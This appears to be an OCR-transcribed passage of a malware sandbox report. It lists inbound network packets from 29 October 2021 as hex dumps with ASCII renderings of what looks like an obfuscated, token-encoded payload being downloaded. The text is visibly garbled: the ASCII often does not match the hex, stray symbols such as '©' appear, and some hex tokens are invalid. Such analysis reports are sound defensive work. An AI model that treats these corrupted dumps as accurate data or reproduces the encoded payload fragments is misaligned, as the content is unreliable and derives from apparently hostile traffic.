45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f
20 6d 45 20 4f 20 6d 70 20 4f 20 71 71
Data Ascii: DW O WO O MX O Em O ED O Ep O qOD O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O
mE O mE O Wm O mE O mE O ggm O mE O mp O ggX O mE O Wm O mE O mE O qgm O mE O mp O qgX O mE O
WE O mE O mE O qJJ O mE O mE OqOJO mEOWDOmEOmME O ggmO mEOmpOqq

2021-10-29 18:29:50 UTC 1015 IN Data Raw: 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20
6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f
20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58
20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71
58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71
71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20
71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20
Data Ascii: Wm O mE O mE O ggm O mE O mp O ggX O mE O Wm O mE O mE O gqgm O mE O mp O qgX O mE O Wm
O mE O mE O gqgm O mE O mp O ggX O mE O Wm O mE O mE O ggm O mE O mp O gqgX O mE O Wm O mE O mE O
qgm O mE O mp O ggX O mE O Wm O mE O mE O ggm O mE O mp O qgX O mE O Wm

2021-10-29 18:29:50 UTC 1017 IN Data Raw: 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70
20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d
70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20
6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f
20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 6d 45 2C
4f 20 6d 70 20 4f 20 71 71 58 20 4f 20
Data Ascii: mME O mE O mE O mE O mE O mE O mE O mE O mE O mE O Wm O mE O mE O ggm O mE O mp O qgX O
mE O Wm O mE O mE O ggm O mE O mp O ggX O mE O Wm O mE O mE O qgm O mE O mp O qgX O mE O Wm O
mE O mE O qgm O mE O mp O qgX O mE O Wm O mE O mE O ggm O mE O mp O qgqX O

2021-10-29 18:29:50 UTC 1018 IN Data Raw: 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20
6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f
20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d
20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71
6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71
71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20
Data Ascii: mp O ggX O mE O Wm O mE O mE O ggm O mE O mp O ggX O mE O Wm O mE O mE O qgm O mE O mp
0 qgX O mE O Wm O mE O mE O qgm O mE O mp O qgX O mE O Wm O mE O mE O qgm O mE O mp O qgX O mE O
Wm O mE O mE O gqgm O mE O mp O qgX O mE O Wm O mE O mE O qgm O mE O mp

2021-10-29 18:29:50 UTC 1019 IN Data Raw: 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
Data Ascii: E O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
O mE O mE O mE OmE O mE O mE O mEOmE O mE OmEO mEOmE O mE O mEO mEO mE O mE OmE O mE
OMEOMEOMEOMEOMEOMEOMEOMEOMEOMEOMEO MEOMEO MEOm

2021-10-29 18:29:50 UTC 1021 IN Data Raw: 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 57 57
20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 4f 4d
20 4f 20 57 4f 20 4f 20 71 71 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 71 71 44 20 4f 20 45 44 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 71 6d 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 45
4d 20 4f 20 71 71 70 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 71 20 4f 20 71 71 4d 20 4f 20 57 44
20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 71 4a
4f 20 4f 20 4d 4d 20 4f 20 58 6d 20 4f
Data Ascii: O qqgM O qOJ O mE O XE O qgqD O ED O WW O mE O WO O MX O MX O DW O mE O WE O qOM O WO O
qgqM O XO O mE O MO O qgqD O ED O mE O mE O Wq O ggm O Xm O DE O mE O mp O EM O qgp O qgX O qgX O
mE O qOg O qgM O WD O MX O mE O mM O DX O qOg O EO O mE O gJO O MM O Xm O

2021-10-29 18:29:50 UTC 1022 IN Data Raw: 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44
20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 45 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 6d
45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 45
6d 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20
6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20
44 44 20 4f 20 71 71 57 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 58 4f 20 4f 20 44 57 20
Data Ascii: J O DW O Eq O qJJ O mE O mX O Xq O DD O qgqM O mE O WE O DM O DE O MX O qOJ O mE O XJ O DW
OgqOMOWgOmMEO MXOXqOEmMO gD OmEOWEODMODMOMXOggXOmEOXJODWOEqOgJJO
mE O mX O Xq O DD O qgW O mE O WD O WD O DW O ME O mE O mE O XO O DW

2021-10-29 18:29:50 UTC 1023 IN Data Raw: 57 20 4f 20 58 70 20 4f 20 58 70 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 70 20 4f 20 71 4a 4a
20 4f 20 71 4f 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 58 58 20 4f 20
6d 45 20 4f 20 57 6d 20 4f 20 44 58 20 4f 20 71 4f 57 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 57 45 20 4f 20
71 4f 71 20 4f 20 71 4f 4d 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 57 57 20 4f 20
6d 45 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f
20 44 44 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 45 58 20 4f 20 57 4f 20 4f 20 58
Data Ascii: WO Xp O Xp O EE O mE O mE O Ep O gJJ O gOX O qgX O mE O mM O EX O gqgqJ O XX O mE O Wm O
DX O gOW O Xm O mE O WW O WE O qOgq O gqOM O XO O mE O XE O XO O Ep O WW O mE O WO O Xq O XJ O
ggX O mE O qJO O MM O DD O DX O Eq O qOp O DW O DW O DW O DW O EX O WO O X
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1025 IN Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57
Data Ascii: O DW O bw O bw O bw O bw O bw O bw O bw O bw O bDw O bw O DW O bw O DW O DW O DW
O bw © bw O bw © bw O bw O bw © bw O bw O bw © bw O bw © bw O bw O bw © bw O bw O bw O bw
O bw O bw O bw © bw O bw O bw © bw O bw O bw © bw O bw © bw O bw O bw O DW O DW O bw

2021-10-29 18:29:50 UTC 1026 IN Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 44 20 4f 20 71 71 70 20 4f 20 58 45 20 4f 20 71 4f 70 20 4f 20 45 57 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 58 44 20 4f
20 45 45 20 4f 20 44 58 20 4f 20 71 4a 71 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f
20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20
4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f
20 45 Af 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f
20 45 70 20 4f 20 44 58 20 4f 20 6d
Data Ascii: O DW O DW O DW O bW O DW O DW O DW O DD O ggp O XE O qOp O EW O XW O MO O XD O EE O
DX 0 qJgOWOOEXOXpODWOWEOEOOOD O XWOgOpOXOOXJOXMOmMMOEpODXOmXO XEO
EXOXpODWOWEOEOOQODOXWOgOpOXOOXJOXMOMMOEpODXOm

2021-10-29 18:29:50 UTC 1027 IN Data Raw: 70 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 57 70 20 4f 20 58 4f 20 4f 20 6d 45
20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 4a 20 4f 20 45 57
20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 6d
45 20 4f 20 71 71 4d 20 4f 20 71 71 57 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f
20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 71
71 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 71 4a 20 4f 20 6d 45 20 4f 20 57 45 20 4f 2
057 71 20 4f 20 71 4f 57 20 4f 20
Data Ascii: p O gOJ O mE O EO O qOE O Wp O XO O mE O qggM O MX O WO O XO O mE O WD O EJ O EW O WO O
XO Omp OWm O gqgX O WD O g0J O mE O ggM O qqgW O gOJ O EM O mE O WE O Wq O gOW O Wm O qOJ O mE
0O OO0 O WJ O gqgE © qgO O mE O Wqg O qOq O ED O gqJ O mE O WE O Wqg O qOW O

2021-10-29 18:29:50 UTC 1029 IN Data Raw: 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 57 4a 20 4f
20 45 58 20 4f 20 71 4a 71 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 4f 44 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 71 71 45
20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58
20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71
71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20
6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20
Data Ascii: mE O gOM O Wm O gqE O qOD O mE O WJ O EX O gJg O Wm O mE O WD O Eq O WE O qOD O mE O
mE O Eq O qJJ O WE O WW O mE O gqgE O MM O ED O Xgq O mE O WW O ggO O DE O mX O XO O mp O Wp O qqM
O qgD O DX O mE O qgE O MM O ED O Xq O mE O WW O qgqO O DE O mX O XO O mp

2021-10-29 18:29:50 UTC 1030 IN Data Raw: 20 6d 45 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 4d 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 71
4a 4a 20 4f 20 45 6d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 6d
45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71
4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f
20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f
20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58
Data Ascii: mE O qgX O mE O mp O mE O mE O WW O mE O mE O MX O WW O WD O mE O mE O XW O qJJ O Em
O Wg O mE O mXOEEOMEOXmO mEOWDOWW O EO O qOE O mE O mEOEM O gJOO MO O XO O mE O
qJJ O qqW O XE O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O X

2021-10-29 18:29:50 UTC 1031 IN Data Raw: 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d
45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71
7158 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f
20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f
20 71 71 58 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45
58 20 4f 20 71 71 6d 20 4f 20 71 4f 4a
Data Ascii: Op O mE O mp O gJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qgX O qOJ O
mE Omp O qJJ O MXO WJO XO O mE O qgW O WO O mpO DXOmEOWWOEXOqggX O qOpOmEOmpO qdJ
O MX O Wgq O mE O mE O ggm O WO O qgb O mE O mE O WW O EX O qgm O qOJ

2021-10-29 18:29:50 UTC 1032 IN Data Raw: 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 57
4f 20 4f 20 71 4a 71 20 4f 20 58 45 20 4f 20 44 4d 20 4f 20 6d 70 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 58 71 20 4f 20
71 4Af 4f 20 4f 20 71 4f 71 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f
20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20
420 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 71 71 6d 20 4f 20 44 4d
Data Ascii: O O qOD O qOX O Eq O qgqq O ED O WJ O WO O gqJg O XE O DM O mp O gOO O MM O Xq O qOO O qOq
OEpOEJODWO DW O Xq O qOp © qOp O DW O Eq O gqqW O Xq © MM O DW O DD O gqgm O DM O DM O DW O
DW O EW O gqJO O DD O DW O DW O DE O qgqW O Xq O Xgq O DW O DW O ggm O DM

2021-10-29 18:29:50 UTC 1034 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 71 4f 57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20
57 71 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f
20 57 71 20 4f 20 71 4f 4f 20 4f 20 57
Data Ascii: DW O bW O bW O bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bW O bw O DW O
gqOW O Ep O qOp O DW O bw O DW O bW O bW O DW O DW O gOm O Wg O gOO O WJ O DW O bW O DW O bW
O DW O DW O gOm O Wg O qOO O Wq O qOgq © bW O bw O bW O DW O DW O gOm O Wq O gOO O W
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:50 UTC 1035 IN Data Raw: 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20
4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20
4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20
4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20
4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20
4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44
57 20 4f 20 45 71 20 4f 20 6d 58 20 4f
Data Ascii: O XM O DW O XW O qgM O DD O gOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O EO O
EE O DW O MO O Xq O DD O qqwW O DW O Eq O XW O DW O XM O gqgM O DD O mX O DW O Eq O XW O DW O MO
O DW O DW O qOp O DW O DM O gqOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O

2021-10-29 18:29:50 UTC 1036 IN Data Raw: 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20
71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 41
20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f
20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20
4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20
Data Ascii: DW O MO O DW O DW O gOp O DW O DM O qOE O DW O gOO O DW O DD O qOX O DW O Eq O mX O
DW O MM O ggM O DW O Em O DW O DM O EE O DW O gOO O DW O DD O gJg O DW O Eq O qgM O DW O EW O
ggM O DD O DX O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O

2021-10-29 18:29:50 UTC 1038 IN Data Raw: 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 41
20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 58 58 20 4f 20 45 6d 20 4f 20 71 4a 4f 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f
20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20
4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20
4f 20 44 57 20 4f 20 71 4f 4f 20 4f
Data Ascii: O OO O DW O DD O qqJ O DW O EJ O DW O DW O MM O ggM O DW O DW O DW O DW O DW O DW O
XX O Em 0 gqJO O EX O DW O Eq O DM O DW O MM O qOp O DD O ggm O DW O DE O DW O DW O Em O qOp O
DD O XO O DW O Eq O Xg O DW O MO O DW O DW O ggX O DW O DM O XW O DW O OO O

2021-10-29 18:29:50 UTC 1039 IN Data Raw: 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20
71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f
